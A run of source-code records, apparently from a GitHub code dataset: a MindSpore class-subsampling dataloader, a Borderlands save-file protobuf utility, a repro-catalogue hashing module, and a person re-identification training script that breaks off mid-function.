targets_np = np.zeros(0)\n    for batch, (X, y) in enumerate(train_dataset.create_tuple_iterator()):\n        #将X在第0维上拼接\n        data = np.concatenate((X.asnumpy(),data),axis=0)\n        targets_np = np.concatenate((y.asnumpy(),targets_np),axis=0)\n\n\n    classes = np.arange(10)\n\n    num_per_cls = np.zeros(10)\n    for class_i, volume_i in zip(classes, img_num_per_cls):\n        num_per_cls[class_i] = volume_i\n        idx = np.where(targets_np == class_i)[0]\n        np.random.shuffle(idx)\n        keep_num = volume_i\n        selec_idx = idx[:keep_num]\n        new_data.append(data[selec_idx, ...])\n        new_targets.extend([class_i] * keep_num)\n    new_data = np.vstack(new_data)\n\n    train_dataset_new = []\n    for i in range(len(new_targets)):\n        train_dataset_new.append({'image': new_data[i], 'label': new_targets[i]})\n\n    train_dataset_new = CustomDataset(train_dataset_new)\n    train_loader_new = ds.GeneratorDataset(train_dataset_new, column_names=['image', 'label'], shuffle=True)\n    return train_loader_new\n\nclass CustomDataset:\n    def __init__(self, dataset):\n        self.dataset = dataset\n\n    def __len__(self):\n        return len(self.dataset)\n    def __getitem__(self, idx):\n        item = self.dataset[idx]\n        image = item['image']\n        label = item['label']\n\n        return image, label","repo_name":"zxk1212/TLC_mindspore","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"22545490553","text":"import io\nimport struct\nfrom typing import Any\n\nfrom borderlands.datautil.common import wrap_bytes, guess_wire_type\nfrom borderlands.datautil.data_types import PlayerDict\nfrom borderlands.datautil.errors import BorderlandsError\n\n\ndef remove_structure(data: dict, inv: dict) -> dict:\n    result = {}\n    result.update(data.get(\"_raw\", {}))\n    for k, value in data.items():\n        if k == \"_raw\":\n            # Fix for Python 3 - these inner lists need to be\n            # run through wrap_bytes, else they'll be interpreted\n            # weirdly.\n            for raw_k, raw_values in value.items():\n                for idx, (wire_type, v) in enumerate(raw_values):\n                    if wire_type == 2:\n                        raw_values[idx][1] = wrap_bytes(v)\n            continue\n        mapping = inv.get(k)\n        if mapping is None:\n            raise BorderlandsError(f\"Unknown key {k!r} in data\")\n        elif isinstance(mapping, int):\n            result[mapping] = [[guess_wire_type(value), value]]\n            continue\n        key, repeated, child_inv = mapping\n        if child_inv is None:\n            value = [value] if not repeated else value\n            result[key] = [[guess_wire_type(v), v] for v in value]\n        elif isinstance(child_inv, int):\n            if repeated:\n                b = io.BytesIO()\n                for v in value:\n                    write_protobuf_value(b=b, wire_type=child_inv, value=v)\n                result[key] = [[2, b.getvalue()]]\n            else:\n                result[key] = [[child_inv, value]]\n        elif isinstance(child_inv, tuple):\n            if not repeated:\n                value = [value]\n            values = []\n            for v in map(child_inv[1], value):\n                if isinstance(v, list):\n                    values.append(v)\n                else:\n                    values.append([guess_wire_type(v), v])\n            result[key] = values\n        elif isinstance(child_inv, dict):\n            value = [value] if not repeated else value\n            values = []\n            for d in [remove_structure(v, child_inv) for v in value]:\n                values.append([2, write_protobuf(d)])\n            result[key] = values\n        else:\n            raise Exception(f\"Invalid mapping {mapping!r} for {k!r}: {value!r}\")\n    return result\n\n\ndef read_varint(f: io.BytesIO) -> int:\n    value = 0\n    offset = 0\n    while True:\n        b = ord(f.read(1))\n        value |= (b & 0x7F) << offset\n        if (b & 0x80) == 0:\n            break\n        offset = offset + 7\n    return value\n\n\ndef write_varint(f: io.BytesIO, i: int) -> None:\n    while i > 0x7F:\n        f.write(bytes([0x80 | (i & 0x7F)]))\n        i = i >> 7\n    f.write(bytes([i]))\n\n\ndef read_protobuf_value(b: io.BytesIO, wire_type: int) -> Any:\n    if wire_type == 0:\n        return read_varint(b)\n    elif wire_type == 1:\n        return struct.unpack(\"<Q\", b.read(8))[0]\n    elif wire_type == 2:\n        length = read_varint(b)\n        return b.read(length)\n    elif wire_type == 5:\n        return struct.unpack(\"<I\", b.read(4))[0]\n    else:\n        raise BorderlandsError(\"Unsupported wire type \" + str(wire_type))\n\n\ndef read_repeated_protobuf_value(data: bytes, wire_type: int) -> list:\n    b = io.BytesIO(data)\n    values = []\n    while b.tell() < len(data):\n        values.append(read_protobuf_value(b, wire_type))\n    return values\n\n\ndef write_protobuf_value(*, b: io.BytesIO, wire_type: int, value: Any) -> None:\n    if wire_type == 0:\n        write_varint(b, value)\n    elif wire_type == 1:\n        b.write(struct.pack(\"<Q\", value))\n    elif wire_type == 2:\n        if isinstance(value, str):\n            value = value.encode('latin1')\n        elif isinstance(value, list):\n            value = \"\".join(map(chr, value)).encode('latin1')\n        write_varint(b, len(value))\n        b.write(value)\n    elif wire_type == 5:\n        b.write(struct.pack(\"<I\", value))\n    else:\n        raise BorderlandsError(f\"Unsupported wire type {wire_type}\")\n\n\ndef write_repeated_protobuf_value(data: list, wire_type: int) -> bytes:\n    b = io.BytesIO()\n    for value in data:\n        write_protobuf_value(b=b, wire_type=wire_type, value=value)\n    return b.getvalue()\n\n\ndef read_protobuf(data: bytes) -> PlayerDict:\n    fields: PlayerDict = {}\n    end_position = len(data)\n    bytestream = io.BytesIO(data)\n    while bytestream.tell() < end_position:\n        key = read_varint(bytestream)\n        field_number = key >> 3\n        wire_type = key & 7\n        value = read_protobuf_value(bytestream, wire_type)\n        fields.setdefault(field_number, []).append([wire_type, value])\n    return fields\n\n\ndef apply_structure(pb_data: PlayerDict, s: dict) -> dict:\n    fields = {}\n    raw = {}\n    for k, data in pb_data.items():\n        mapping = s.get(k)\n        if mapping is None:\n            raw[k] = data\n            continue\n        elif isinstance(mapping, str):\n            fields[mapping] = data[0][1]\n            continue\n        key, repeated, child_s = mapping\n        if child_s is None:\n            values = [d[1] for d in data]\n            fields[key] = values if repeated else values[0]\n        elif isinstance(child_s, int):\n            if repeated:\n                fields[key] = read_repeated_protobuf_value(data[0][1], child_s)\n            else:\n                fields[key] = data[0][1]\n        elif isinstance(child_s, tuple):\n            values = [child_s[0](d[1]) for d in data]\n            fields[key] = values if repeated else values[0]\n        elif isinstance(child_s, dict):\n            values = [apply_structure(read_protobuf(d[1]), child_s) for d in data]\n            fields[key] = values if repeated else values[0]\n        else:\n            raise TypeError(f\"Wrong type of child_s: {type(child_s)}. Invalid mapping {mapping!r} for {k!r}: {data!r}\")\n    if len(raw) != 0:\n        fields[\"_raw\"] = {}\n        for k, values in raw.items():\n            safe_values = []\n            for wire_type, v in values:\n                if wire_type == 2:\n                    v = list(v)\n                safe_values.append([wire_type, v])\n            fields[\"_raw\"][k] = safe_values\n    return fields\n\n\ndef write_protobuf(data: dict) -> bytes:\n    b = io.BytesIO()\n    # If the data came from a JSON file the keys will all be strings\n    data = {int(k): v for k, v in data.items()}\n    for key, entries in sorted(data.items()):\n        for wire_type, value in entries:\n            if isinstance(value, dict):\n                value = write_protobuf(value)\n                wire_type = 2\n            elif isinstance(value, (list, tuple)) and wire_type != 2:\n                sub_b = io.BytesIO()\n                for v in value:\n                    write_protobuf_value(b=sub_b, wire_type=wire_type, value=v)\n                value = sub_b.getvalue()\n                wire_type = 2\n            write_varint(b, (key << 3) | wire_type)\n            write_protobuf_value(b=b, wire_type=wire_type, value=value)\n    return b.getvalue()\n","repo_name":"apocalyptech/borderlands2","sub_path":"borderlands/datautil/protobuf.py","file_name":"protobuf.py","file_ext":"py","file_size_in_byte":6951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"25693126920","text":"import os\nimport json\nimport csv\nfrom itertools import chain\nimport hashlib\nimport git\nfrom git import InvalidGitRepositoryError, RepositoryDirtyError\nfrom .utils import prune_files\n\n\ndef hash_file(filepath, m=None):\n    '''\n    Hash the contents of a file\n\n    Parameters\n    ----------\n    filepath : str\n        A string pointing to the file you want to hash\n    m : hashlib hash object, optional (default is None to create a new object)\n        hash_file updates m with the contents of filepath and returns m\n\n    Returns\n    -------\n    hashlib hash object\n    '''\n    assert os.path.exists(filepath), \"Path {} does not exist\".format(filepath)\n\n\n    if m is None:\n        m = hashlib.sha512()\n\n    with open(filepath, 'rb') as f:\n        # The following construction lets us read f in chunks,\n        # instead of loading an arbitrary file in all at once.\n        while True:\n            b = f.read(2**10)\n            if not b:\n                break\n            m.update(b)\n    return m\n\n\ndef modified_walk(folder, ignore_subdirs=[], ignore_exts=[], ignore_dot_files=True):\n    '''\n    A wrapper on os.walk() to return a list of paths inside directory \"folder\"\n    that do not meet the ignore criteria.\n\n    Parameters\n    ----------\n    folder : str\n        a filepath\n    ignore_subdirs : list of str, optional\n        a list of subdirectories to ignore. Must include folder in the filepath.\n    ignore_exts : list of str, optional\n        a list of file extensions to ignore.\n    ignore_dot_files : bool\n\n    Returns\n    -------\n    list[str]\n        A list of accepted paths\n    '''\n    assert os.path.exists(folder), \"Path {} does not exist\".format(folder)\n\n    path_list = []\n    for path, directories, files in os.walk(folder):\n        # loop over files in the top directory\n        for f in sorted(files):\n            root, ext = os.path.splitext(f)\n            if not (\n                (ext in ignore_exts) or\n                (ignore_dot_files and root.startswith(\".\")) or\n                (path in ignore_subdirs)\n                ):\n                path_list.append(os.path.join(path, f))\n\n    return path_list\n\n\ndef hash_dir_by_file(folder, **kwargs):\n    '''\n    Create a dictionary mapping filepaths to hashes. Includes all files\n    inside folder unless they meet some ignore criteria. See modified_walk\n    for details.\n\n    Parameters\n    ----------\n    folder : str\n        filepath\n    **kwargs : dict\n        passed through to modified_walk\n\n    Returns\n    -------\n    dict (str : str)\n    '''\n    assert os.path.exists(folder), \"Path {} does not exist\".format(folder)\n    assert os.path.isdir(folder), \"Provided input {} not a directory\".format(folder)\n\n    hashes = {}\n    for path in modified_walk(folder, **kwargs):\n        hashes[path] = hash_file(path).hexdigest()\n    return hashes\n\n\ndef hash_dir_full(folder, **kwargs):\n    '''\n    Creates a hash and sequentially updates it with each file in folder.\n    Includes all files inside folder unless they meet some ignore criteria\n    detailed in :func:`modified_walk`.\n\n    Parameters\n    ----------\n    folder : str\n        filepath\n    **kwargs : dict\n        passed through to modified_walk\n\n    Returns\n    -------\n    str\n    '''\n    assert os.path.exists(folder), \"Path {} does not exist\".format(folder)\n    assert os.path.isdir(folder), \"Provided input {} not a directory\".format(folder)\n\n    m = hashlib.sha512()\n    for path in sorted(modified_walk(folder, **kwargs)):\n        m = hash_file(path, m)\n    return m.hexdigest()\n\n\ndef hash_input(input_data):\n    \"\"\"\n    Hash directory with input data.\n\n    Parameters\n    ----------\n    input_data: str\n        Path to directory with input data.\n\n    Returns\n    -------\n    str\n        Hash of the directory.\n    \"\"\"\n    if os.path.isdir(input_data):\n        return hash_dir_full(input_data)\n    elif os.path.isfile(input_data):\n        return hash_file(input_data).hexdigest()\n    else:\n        raise AssertionError(\"Provided input {} is not a file or directory\".format(input_data))\n\n\ndef hash_output(output_data):\n    \"\"\"\n    Hash analysis output files.\n\n    Parameters\n    ----------\n    output_data:\n        Path to output data directory.\n\n    Returns\n    -------\n    dict (str : str)\n    \"\"\"\n    if os.path.isdir(output_data):\n        return hash_dir_by_file(output_data)\n    elif os.path.isfile(output_data):\n        return {output_data: hash_file(output_data).hexdigest()}\n    else:\n        raise AssertionError(\"Provided input {} is not a file or directory\".format(output_data))\n\n\ndef hash_code(repo_path, catalogue_dir):\n    \"\"\"\n    Get commit digest for current HEAD commit\n\n    Returns the current HEAD commit digest for the code that is run.\n\n    If the current working directory is dirty (or has untracked files other\n    than those held in `catalogue_dir`), it raises a `RepositoryDirtyError`.\n\n    Parameters\n    ----------\n    repo_path: str\n        Path to analysis directory git repository.\n    catalogue_dir: str\n        Path to directory with catalogue output files.\n\n    Returns\n    -------\n    str\n        Git commit digest for the current HEAD commit of the git repository\n    \"\"\"\n\n    try:\n        repo = git.Repo(repo_path, search_parent_directories=True)\n    except InvalidGitRepositoryError:\n        raise InvalidGitRepositoryError(\"provided code directory is not a valid git repository\")\n\n    untracked = prune_files(repo.untracked_files, catalogue_dir)\n    if repo.is_dirty() or len(untracked) != 0:\n        raise RepositoryDirtyError(repo, \"git repository contains uncommitted changes\")\n\n    return repo.head.commit.hexsha\n\n\ndef construct_dict(timestamp, args):\n    \"\"\"\n    Create dictionary with hashes of input files.\n\n    Parameters\n    ----------\n    timestamp : str\n        Datetime.\n    args : obj\n        Command line input arguments (argparse.Namespace).\n\n    Returns\n    -------\n    dict\n        A dictionary with hashes of all inputs.\n    \"\"\"\n    results = {\n        \"timestamp\": {\n            args.command: timestamp\n        },\n        \"input_data\": {\n            args.input_data : hash_input(args.input_data)\n        },\n        \"code\": {\n            args.code : hash_code(args.code, args.catalogue_results)\n        }\n    }\n    if hasattr(args, 'output_data'):\n        results[\"output_data\"] = {}\n        results[\"output_data\"].update({args.output_data : hash_output(args.output_data)})\n    return results\n\n\ndef store_hash(hash_dict, timestamp, store, ext=\"json\"):\n    \"\"\"\n    Save hash information to <timestamp.ext> file.\n\n    Parameters\n    ----------\n    hash_dict: dict { str: dict }\n        hash dictionary after completing analysis\n    timestamp: str\n        timestamp (will be used as name of file)\n    store: str\n        directory where to store the file\n    ext: str\n        the extension of the file to store the hash info in, default is \"json\"\n\n    Returns\n    -------\n    None\n    \"\"\"\n\n    os.makedirs(store, exist_ok=True)\n\n    with open(os.path.join(store, \"{}.{}\".format(timestamp, ext)),\"w\") as f:\n        json.dump(hash_dict, f)\n\n\ndef load_hash(filepath):\n    \"\"\"\n    Load hashes from json file.\n\n    Parameters\n    ----------\n    filepath : str\n        path to json file to be loaded\n\n    Returns\n    -------\n    dict { str : dict }\n    \"\"\"\n    with open(filepath, \"r\") as f:\n        return json.load(f)\n\n\ndef save_csv(hash_dict, timestamp, store):\n    \"\"\"\n    Save hash information to CSV file\n\n    Dumps the relevant hash information into a line in a CSV file. If the file does not\n    exist, a new file is created. If the file exists, it appends the record to the existing\n    file as long as the header information is consistent with the desired output format.\n\n    Parameters\n    ----------\n    hash_dict: dict { str: dict }\n        hash dictionary after completing analysis\n    timestamp: str\n        timestamp (will be used as an id for this run)\n    store: str\n        path to CSV file where\n\n    Returns\n    -------\n    None\n    \"\"\"\n\n    headers = [\"id\" ,\"disengage\", \"engage\", \"input_data\", \"input_hash\",\n               \"code\", \"code_hash\", \"output_data\", \"output_file1\", \"output_hash1\"]\n\n    os.makedirs(os.path.dirname(store), exist_ok=True)\n\n    try:\n        needs_header = False\n        with open(store, 'r') as f:\n            line = f.readline().strip().split(\",\")\n            print(line)\n            assert line == headers, \"Existing CSV file header is not formatted correctly\"\n    except FileNotFoundError:\n        needs_header = True\n    finally:\n        with open(store, 'a') as f:\n            fwriter = csv.writer(f)\n            if needs_header:\n                fwriter.writerow(headers)\n            output_key = list(hash_dict[\"output_data\"].keys())[0]\n            fwriter.writerow([timestamp, hash_dict[\"timestamp\"][\"disengage\"], hash_dict[\"timestamp\"][\"engage\"]] +\n                        list(hash_dict[\"input_data\"].keys()) + list(hash_dict[\"input_data\"].values()) +\n                        list(hash_dict[\"code\"].keys())       + list(hash_dict[\"code\"].values()) +\n                        [ output_key ] +\n                        list(chain.from_iterable((i, j) for (i, j) in zip(hash_dict[\"output_data\"][output_key].keys(),\n                                                                          hash_dict[\"output_data\"][output_key].values()))))\n\ndef load_csv(filepath, timestamp):\n    \"\"\"\n    Load hashes from a specific time stamp from a CSV file\n\n    Load hash information from a CSV file from a specific time stamp. Returns a hash\n    dictionary of the standard form outlined above.\n\n    The timestamp must be a 15 character timestamp string. If the specific entry is not found\n    in the CSV file, an EOFError is thrown. Also performs a number of checks of the length\n    of the existing record, and confirms that the timestamps and hashes are of the correct\n    length.\n\n    Parameters\n    ----------\n    filepath : str\n        path to CSV file to be loaded\n    timestamp : str\n        timestamp of desired analysis to be loaded. Must be a 15 character string of the form\n        \"%Y%m%d-%H%M%S\"\n\n    Returns\n    -------\n    dict { str : dict }\n    \"\"\"\n\n    assert isinstance(timestamp, str)\n    assert len(timestamp) == 15, \"bad format for timestamp\"\n\n    found_record = None\n\n    with open(filepath, \"r\") as f:\n        freader = csv.reader(f)\n        for line in freader:\n            if line[0] == timestamp:\n                found_record = list(line)\n                break\n\n    if found_record is None:\n        raise EOFError(\"Unable to find desired record in {}\".format(filepath))\n\n    assert len(found_record) >= 9, \"bad length for record {} in {}\".format(timestamp, filepath)\n    assert len(found_record) % 2 == 0, \"bad length for record {} in {}\".format(timestamp, filepath)\n    for i in range(3):\n        assert len(found_record[i]) == 15\n    for i in [4] + list(range(9, len(found_record), 2)):\n        assert len(found_record[i]) == 128\n    assert len(found_record[6]) == 40\n\n    result = {\n        \"timestamp\": {\n            \"disengage\": found_record[1],\n            \"engage\" : found_record[2]\n        },\n        \"input_data\": {\n            found_record[3] : found_record[4]\n        },\n        \"code\": {\n            found_record[5] : found_record[6]\n        },\n        \"output_data\": {\n            found_record[7]: { found_record[i]: found_record[i + 1] for i in range(8,len(found_record), 2)}\n        }\n    }\n\n    return result\n","repo_name":"alan-turing-institute/repro-catalogue","sub_path":"catalogue/catalogue.py","file_name":"catalogue.py","file_ext":"py","file_size_in_byte":11368,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"74854182821","text":"import os\nimport sys\nimport time\nimport datetime\nimport argparse\nimport os.path as osp\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\n\nfrom configs.default import get_config\nfrom data import build_dataloader\nfrom models import build_model\nfrom losses import build_losses\nfrom tools.eval_metrics import evaluate\nfrom tools.utils import AverageMeter, Logger, save_checkpoint, set_seed\n\n\ndef parse_option():\n    parser = argparse.ArgumentParser(description='Train image-based re-id model')\n    parser.add_argument('--cfg', type=str, required=True, metavar=\"FILE\", help='path to config file')\n    # Datasets\n    parser.add_argument('--root', type=str, help=\"your root path to data directory\")\n    parser.add_argument('--dataset', type=str, help=\"market1501, cuhk03, dukemtmcreid, msmt17\")\n    # Miscs\n    parser.add_argument('--output', type=str, help=\"your output path to save model and logs\")\n    parser.add_argument('--eval', type=int, default=0, help=\"evaluation only\")\n    parser.add_argument('--resume', type=str, metavar='PATH')    \n    parser.add_argument('--gpu', default='0', type=str, help='gpu device ids for CUDA_VISIBLE_DEVICES')\n\n    # for lce\n    parser.add_argument('--train_half', type=int, default=0, help='train with the first half of the datasets')    \n    parser.add_argument('--save_lcefeat', default=0, type=int, help=\"if save the feats on the training datasets\")\n    parser.add_argument('--use_lce', type=int, default=0, help='if use lce')\n    parser.add_argument('--use_trans', type=int, default=0, help='if use trans')    \n    parser.add_argument('--path_ccb', type=str, help=\"path to the class centers and boundaries\")\n    parser.add_argument('--lambda_a', type=float, default=100, help=\"weight for align loss\")\n    parser.add_argument('--lambda_b', type=float, default=1, help=\"weight for boundary loss\")    \n\n    args, unparsed = parser.parse_known_args()\n    config = get_config(args)\n\n    return config\n\n\ndef main(config):\n    os.environ['CUDA_VISIBLE_DEVICES'] = config.GPU\n\n    if not config.EVAL_MODE:\n        sys.stdout = Logger(osp.join(config.OUTPUT, 'log_train.txt'))\n    else:\n        sys.stdout = Logger(osp.join(config.OUTPUT, 'log_test.txt'))\n    print(\"==========\\nConfig:{}\\n==========\".format(config))\n    print(\"Currently using GPU {}\".format(config.GPU))\n    # Set random seed\n    set_seed(config.SEED)\n\n    # Build dataloader\n    trainloader, queryloader, galleryloader, num_classes = build_dataloader(config)\n    # Build model\n    if config.LCE.USE_TRANS:\n        model, classifier, trans_forward, trans_backward = build_model(config, num_classes)\n    else:\n        model, classifier = build_model(config, num_classes)\n    # Build classification and pairwise loss\n    criterion_cla = build_losses(config)\n    # Build optimizer\n    parameters = list(model.parameters()) + list(classifier.parameters())\n    if config.TRAIN.OPTIMIZER.NAME == 'adam':\n        optimizer = optim.Adam(parameters, lr=config.TRAIN.OPTIMIZER.LR, \n                               weight_decay=config.TRAIN.OPTIMIZER.WEIGHT_DECAY)\n    elif config.TRAIN.OPTIMIZER.NAME == 'adamw':\n        optimizer = optim.AdamW(parameters, lr=config.TRAIN.OPTIMIZER.LR, \n                               weight_decay=config.TRAIN.OPTIMIZER.WEIGHT_DECAY)\n    elif config.TRAIN.OPTIMIZER.NAME == 'sgd':\n        optimizer = optim.SGD(parameters, lr=config.TRAIN.OPTIMIZER.LR, momentum=0.9, \n                              weight_decay=config.TRAIN.OPTIMIZER.WEIGHT_DECAY, nesterov=True)\n    else:\n        raise KeyError(\"Unknown optimizer: {}\".format(config.TRAIN.OPTIMIZER.NAME))\n    # Build lr_scheduler\n    scheduler = lr_scheduler.MultiStepLR(optimizer, milestones=config.TRAIN.LR_SCHEDULER.STEPSIZE, \n                                         gamma=config.TRAIN.LR_SCHEDULER.DECAY_RATE)\n\n    start_epoch = config.TRAIN.START_EPOCH\n    if config.MODEL.RESUME:\n        print(\"Loading checkpoint from '{}'\".format(config.MODEL.RESUME))\n        checkpoint = torch.load(config.MODEL.RESUME)\n        model.load_state_dict(checkpoint['state_dict'])\n        start_epoch = checkpoint['epoch']\n\n    model = nn.DataParallel(model).cuda()\n    classifier = nn.DataParallel(classifier).cuda()\n    if config.LCE.USE_TRANS:\n        trans_forward = nn.DataParallel(trans_forward).cuda()\n        trans_backward = nn.DataParallel(trans_backward).cuda()\n    else:\n        trans_forward, trans_backward = None, None\n    \n    if config.EVAL_MODE:\n        print(\"Evaluate only\")\n        if config.LCE.SAVE_LCEFEAT:\n            save_lcefeat(model, trainloader, config.OUTPUT)\n            return\n        test(model, queryloader, galleryloader, config.OUTPUT)\n        return\n\n    start_time = time.time()\n    train_time = 0\n    best_rank1 = -np.inf\n    best_epoch = 0\n    print(\"==> Start training\")\n\n    # load LCE files\n    old_class_centers, old_class_cos = None, None\n    lambda_a, lambda_b = 0, 0\n    if config.LCE.USE_LCE:\n        # note here old class centers are normalized\n        old_class_centers = np.load('{}/old_class_centers.npy'.format(config.LCE.PATH_CCB))\n        old_class_cos = np.load('{}/old_class_cos.npy'.format(config.LCE.PATH_CCB))\n        old_class_centers = torch.Tensor(old_class_centers).cuda()\n        old_class_centers = F.normalize(old_class_centers, p=2, dim=1)\n        old_class_cos = torch.Tensor(old_class_cos).cuda()\n        lambda_a = config.LCE.LAMBDA_A \n        lambda_b = config.LCE.LAMBDA_B\n\n    for epoch in range(start_epoch, config.TRAIN.MAX_EPOCH):\n        start_train_time = time.time()\n        train(epoch, model, classifier, criterion_cla, optimizer, trainloader, use_lce=config.LCE.USE_LCE, old_class_centers=old_class_centers, old_class_cos=old_class_cos, lambda_a=lambda_a, lambda_b=lambda_b, use_trans=config.LCE.USE_TRANS, trans_forward=trans_forward, trans_backward=trans_backward)\n        train_time += round(time.time() - start_train_time)        \n        \n        if (epoch+1) > config.TEST.START_EVAL and config.TEST.EVAL_STEP > 0 and \\\n            (epoch+1) % config.TEST.EVAL_STEP == 0 or (epoch+1) == config.TRAIN.MAX_EPOCH:\n            print(\"==> Test\")\n            rank1 = test(model, queryloader, galleryloader)\n            is_best = rank1 > best_rank1\n            if is_best:\n                best_rank1 = rank1\n                best_epoch = epoch + 1\n\n            state_dict = model.module.state_dict()\n            save_checkpoint({\n                'state_dict': state_dict,\n                'rank1': rank1,\n                'epoch': epoch,\n            }, is_best, osp.join(config.OUTPUT, 'checkpoint_ep' + str(epoch+1) + '.pth.tar'))\n            if config.LCE.USE_TRANS:\n                state_dict_transf = trans_forward.module.state_dict()\n                save_checkpoint({\n                    'state_dict': state_dict_transf,\n                    'rank1': rank1,\n                    'epoch': epoch,\n                }, is_best, osp.join(config.OUTPUT, 'trans_f' + str(epoch+1) + '.pth.tar'))\n                state_dict_transb = trans_backward.module.state_dict()\n                save_checkpoint({\n                    'state_dict': state_dict_transb,\n                    'rank1': rank1,\n                    'epoch': epoch,\n                }, is_best, osp.join(config.OUTPUT, 'trans_b' + str(epoch+1) + '.pth.tar'))                \n\n        scheduler.step()\n\n    print(\"==> Best Rank-1 {:.1%}, achieved at epoch {}\".format(best_rank1, best_epoch))\n\n    elapsed = round(time.time() - start_time)\n    elapsed = str(datetime.timedelta(seconds=elapsed))\n    train_time = str(datetime.timedelta(seconds=train_time))\n    print(\"Finished. Total elapsed time (h:m:s): {}. Training time (h:m:s): {}.\".format(elapsed, train_time))\n\n\ndef train(epoch, model, classifier, criterion_cla, optimizer, trainloader, use_lce=False, old_class_centers=None, old_class_cos=None, lambda_a=0, lambda_b=0, use_trans=False, trans_forward=None, trans_backward=None):\n    batch_cla_loss = AverageMeter()\n    # batch_pair_loss = AverageMeter()\n    corrects = AverageMeter()\n    batch_time = AverageMeter()\n    data_time = AverageMeter()\n    if use_lce:\n        batch_align_loss = AverageMeter()\n        batch_bound_loss = AverageMeter()\n\n    model.train()\n    classifier.train()\n\n    end = time.time()\n    for batch_idx, (imgs, pids, _) in enumerate(trainloader):\n        imgs, pids = imgs.cuda(), pids.cuda()\n        # Measure data loading time\n        data_time.update(time.time() - end)\n        # Zero the parameter gradients\n        optimizer.zero_grad()\n        # Forward\n        features = model(imgs)\n        outputs = classifier(features)\n        _, preds = torch.max(outputs.data, 1)\n        # Compute loss\n        cla_loss = criterion_cla(outputs, pids)\n        if use_lce:\n            # align loss\n            if use_trans:\n                align_loss = (torch.mean(F.mse_loss(F.normalize(classifier.module.weight), trans_forward(old_class_centers))) + torch.mean(F.mse_loss(trans_backward(F.normalize(classifier.module.weight)), old_class_centers)))/2\n                cos_theta = torch.mm(trans_backward(features), old_class_centers.t())\n            else:\n                align_loss = torch.mean(F.mse_loss(F.normalize(classifier.module.weight), old_class_centers))  \n                cos_theta = torch.mm(features, old_class_centers.t()).clamp(-1, 1)                    \n            index = outputs.data * 0.0 #size=(B,Classnum)\n            index.scatter_(1,pids.data.view(-1,1),1)\n            index = index.byte().bool()\n            val_all = torch.sum(index * cos_theta, dim=1)\n            bound_loss = torch.mean((old_class_cos[pids] - val_all).clamp(0))            \n        loss = cla_loss + lambda_a * align_loss + lambda_b * bound_loss\n        # Backward + Optimize        \n        loss.backward()\n        optimizer.step()\n        # statistics\n        corrects.update(torch.sum(preds == pids.data).float()/pids.size(0), pids.size(0))\n        batch_cla_loss.update(cla_loss.item(), pids.size(0))        \n        # measure elapsed time\n        if use_lce:\n            # 1e5 for display\n            batch_align_loss.update(align_loss.item()*1e5, pids.size(0))\n            batch_bound_loss.update(bound_loss.item()*1e5, pids.size(0))\n        batch_time.update(time.time() - end)\n        end = time.time()\n    if use_lce:\n        print('Epoch{0} '\n            'Time:{batch_time.sum:.1f}s '\n            'Data:{data_time.sum:.1f}s '\n            'AlignLoss:{align_loss.avg:.4f} '\n            'BoundLoss:{bound_loss.avg:.4f} '            \n            'ClaLoss:{cla_loss.avg:.4f} '\n            'Acc:{acc.avg:.2%} '.format(\n            epoch+1, batch_time=batch_time, data_time=data_time, \n            align_loss=batch_align_loss, bound_loss=batch_bound_loss,\n            cla_loss=batch_cla_loss, acc=corrects))        \n    else:\n        print('Epoch{0} '\n            'Time:{batch_time.sum:.1f}s '\n            'Data:{data_time.sum:.1f}s '\n            'ClaLoss:{cla_loss.avg:.4f} '\n            'Acc:{acc.avg:.2%} '.format(\n            epoch+1, batch_time=batch_time, data_time=data_time, \n            cla_loss=batch_cla_loss, acc=corrects))\n\n\ndef fliplr(img):\n    '''flip horizontal'''\n    inv_idx = torch.arange(img.size(3)-1,-1,-1).long()  # N x C x H x W\n    img_flip = img.index_select(3,inv_idx)\n\n    return img_flip\n\n\n@torch.no_grad()\ndef extract_feature(model, dataloader):\n    features, pids, camids = [], [], []\n    for batch_idx, (imgs, batch_pids, batch_camids) in enumerate(dataloader):\n        flip_imgs = fliplr(imgs)\n        imgs, flip_imgs = imgs.cuda(), flip_imgs.cuda()\n        batch_features = model(imgs).data.cpu()\n        batch_features_flip = model(flip_imgs).data.cpu()\n        batch_features += batch_features_flip\n\n        features.append(batch_features)\n        pids.append(batch_pids)\n        camids.append(batch_camids)\n    features = torch.cat(features, 0)\n    pids = torch.cat(pids, 0).numpy()\n    camids = torch.cat(camids, 0).numpy()\n\n    return features, pids, camids\n\n\ndef test(model, queryloader, galleryloader, save_dir=None):\n    since = time.time()\n    model.eval()\n    # Extract features for query set\n    qf, q_pids, q_camids = extract_feature(model, queryloader)\n    print(\"Extracted features for query set, obtained {} matrix\".format(qf.shape))\n    # Extract features for gallery set\n    gf, g_pids, g_camids = extract_feature(model, galleryloader)\n    print(\"Extracted features for gallery set, obtained {} matrix\".format(gf.shape))\n    time_elapsed = time.time() - since\n    print('Extracting features complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n    # Compute distance matrix between query and gallery\n    m, n = qf.size(0), gf.size(0)\n    distmat = torch.zeros((m,n))\n    if config.TEST.DISTANCE == 'euclidean':\n        distmat = torch.pow(qf, 2).sum(dim=1, keepdim=True).expand(m, n) + \\\n                  torch.pow(gf, 2).sum(dim=1, keepdim=True).expand(n, m).t()\n        for i in range(m):\n            distmat[i:i+1].addmm_(1, -2, qf[i:i+1], gf.t())\n    else:\n        # Cosine similarity\n        qf = F.normalize(qf, p=2, dim=1)\n        gf = F.normalize(gf, p=2, dim=1)\n        for i in range(m):\n            distmat[i] = - torch.mm(qf[i:i+1], gf.t())\n    distmat = distmat.numpy()\n\n    print(\"Computing CMC and mAP\")\n    cmc, mAP = evaluate(distmat, q_pids, g_pids, q_camids, g_camids)\n    \n    if save_dir is not None:\n        np.savez('{}/query.npz'.format(save_dir), qf, q_pids, q_camids)\n        np.savez('{}/gallery.npz'.format(save_dir), gf, g_pids, g_camids)\n\n    print(\"Results ----------------------------------------\")\n    print('top1:{:.1%} top5:{:.1%} top10:{:.1%} mAP:{:.1%}'.format(cmc[0], cmc[4], cmc[9], mAP))\n    print(\"------------------------------------------------\")\n\n    return 